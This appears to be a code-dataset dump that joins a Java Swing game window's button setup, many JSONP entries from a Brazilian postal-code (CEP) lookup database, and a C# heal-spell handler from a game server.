button_6.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button_6.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button_6.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
}
});
button_6.setFont(mf.MyFont(0,11));
button_6.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
button_6.setFocusPainted(false);
button_6.setContentAreaFilled(false);
button_6.setBorderPainted(false);
button_6.setHorizontalTextPosition(SwingConstants.CENTER);
button_6.setForeground(Color.WHITE);
button_6.setBounds(318, 220, 123, 23);
frmHistoriasDeZagas.getContentPane().add(button_6);
final JButton button_7 = new JButton("Descripci\u00F3n");
button_7.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
DescripcionJugadores window = new DescripcionJugadores();
window.getFrame().setVisible(true);
}
});
button_7.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button_7.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button_7.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
}
});
button_7.setFont(mf.MyFont(0,11));
button_7.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
button_7.setFocusPainted(false);
button_7.setContentAreaFilled(false);
button_7.setBorderPainted(false);
button_7.setHorizontalTextPosition(SwingConstants.CENTER);
button_7.setForeground(Color.WHITE);
button_7.setBounds(451, 220, 123, 23);
frmHistoriasDeZagas.getContentPane().add(button_7);
final JButton button_8 = new JButton("");
button_8.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button_8.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton atras2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button_8.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton atras.png")));
}
});
button_8.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
frmHistoriasDeZagas.dispose();
}
});
button_8.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton atras.png")));
button_8.setOpaque(false);
button_8.setForeground(Color.WHITE);
button_8.setFont(new Font("Morpheus", Font.PLAIN, 15));
button_8.setFocusPainted(false);
button_8.setContentAreaFilled(false);
button_8.setBorderPainted(false);
button_8.setBorder(new BevelBorder(BevelBorder.RAISED, null, null,
null, null));
button_8.setBackground(new Color(139, 69, 19));
button_8.setBounds(10, 261, 99, 45);
frmHistoriasDeZagas.getContentPane().add(button_8);
JLabel lblNewLabel = new JLabel("");
lblNewLabel.setIcon(new ImageIcon(NPC6.class.getResource("/images/background-ventanajugadores.jpg")));
lblNewLabel.setBounds(0, 0, 584, 708);
frmHistoriasDeZagas.getContentPane().add(lblNewLabel);
}
}
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/67146091.jsonp.js
|
146
|
jsonp({"cep":"67146091","logradouro":"Rua Rodrigues Alves","bairro":"Curu\u00e7amb\u00e1","cidade":"Ananindeua","uf":"PA","estado":"Par\u00e1"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/04011010.jsonp.js
|
157
|
jsonp({"cep":"04011010","logradouro":"Rua Professor Carlos Cattony","bairro":"Vila Mariana","cidade":"S\u00e3o Paulo","uf":"SP","estado":"S\u00e3o Paulo"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/59124400.jsonp.js
|
138
|
jsonp({"cep":"59124400","logradouro":"Avenida Itapetinga","bairro":"Potengi","cidade":"Natal","uf":"RN","estado":"Rio Grande do Norte"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/71727502.jsonp.js
|
160
|
jsonp({"cep":"71727502","logradouro":"Conjunto QOF Conjunto B","bairro":"Candangol\u00e2ndia","cidade":"Bras\u00edlia","uf":"DF","estado":"Distrito Federal"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/65058232.jsonp.js
|
146
|
jsonp({"cep":"65058232","logradouro":"Rua 07","bairro":"Cidade Oper\u00e1ria","cidade":"S\u00e3o Lu\u00eds","uf":"MA","estado":"Maranh\u00e3o"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/28083400.jsonp.js
|
172
|
jsonp({"cep":"28083400","logradouro":"Rua Luiz Paulo de Campos","bairro":"Parque Presidente Vargas","cidade":"Campos dos Goytacazes","uf":"RJ","estado":"Rio de Janeiro"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/54705113.jsonp.js
|
171
|
jsonp({"cep":"54705113","logradouro":"3\u00aa Travessa Santa In\u00eas","bairro":"Capibaribe","cidade":"S\u00e3o Louren\u00e7o da Mata","uf":"PE","estado":"Pernambuco"});
|
cc0-1.0
|
Darkin47/SagaRevised
|
Saga.Scripting/Spells/Spells Enchanter/Heal.cs
|
824
|
using Saga.Map;
using Saga.PrimaryTypes;
namespace Saga.Skills
{
static partial class Spelltable
{
public static void ENCHANTER_HEAL(SkillBaseEventArgs bargument)
{
Actor asource = bargument.Sender as Actor;
Actor atarget = bargument.Target as Actor;
if (bargument.Context == Saga.Enumarations.SkillContext.SkillUse)
{
SkillUsageEventArgs arguments = (SkillUsageEventArgs)bargument;
Singleton.Additions.ApplyAddition(arguments.Addition, atarget);
arguments.Result = Saga.SkillBaseEventArgs.ResultType.Heal;
arguments.Damage = 0;
arguments.Failed = false;
Singleton.Additions.DeapplyAddition(arguments.Addition, atarget);
}
}
}
}
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/12940214.jsonp.js
|
157
|
jsonp({"cep":"12940214","logradouro":"Rua Ant\u00f4nio Gabriel do Amaral","bairro":"Jardim Brasil","cidade":"Atibaia","uf":"SP","estado":"S\u00e3o Paulo"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/35300215.jsonp.js
|
146
|
jsonp({"cep":"35300215","logradouro":"Rua Jaguanharo da Silveira","bairro":"Santa Cruz","cidade":"Caratinga","uf":"MG","estado":"Minas Gerais"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/68500160.jsonp.js
|
153
|
jsonp({"cep":"68500160","logradouro":"Travessa Mestre Ol\u00edvio","bairro":"Velha Marab\u00e1","cidade":"Marab\u00e1","uf":"PA","estado":"Par\u00e1"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/59022380.jsonp.js
|
144
|
jsonp({"cep":"59022380","logradouro":"Rua Jos\u00e9 Farache","bairro":"Lagoa Seca","cidade":"Natal","uf":"RN","estado":"Rio Grande do Norte"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/02911100.jsonp.js
|
157
|
jsonp({"cep":"02911100","logradouro":"Rua Pedro de Melo Sousa","bairro":"Vila Arc\u00e1dia","cidade":"S\u00e3o Paulo","uf":"SP","estado":"S\u00e3o Paulo"});
|
cc0-1.0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.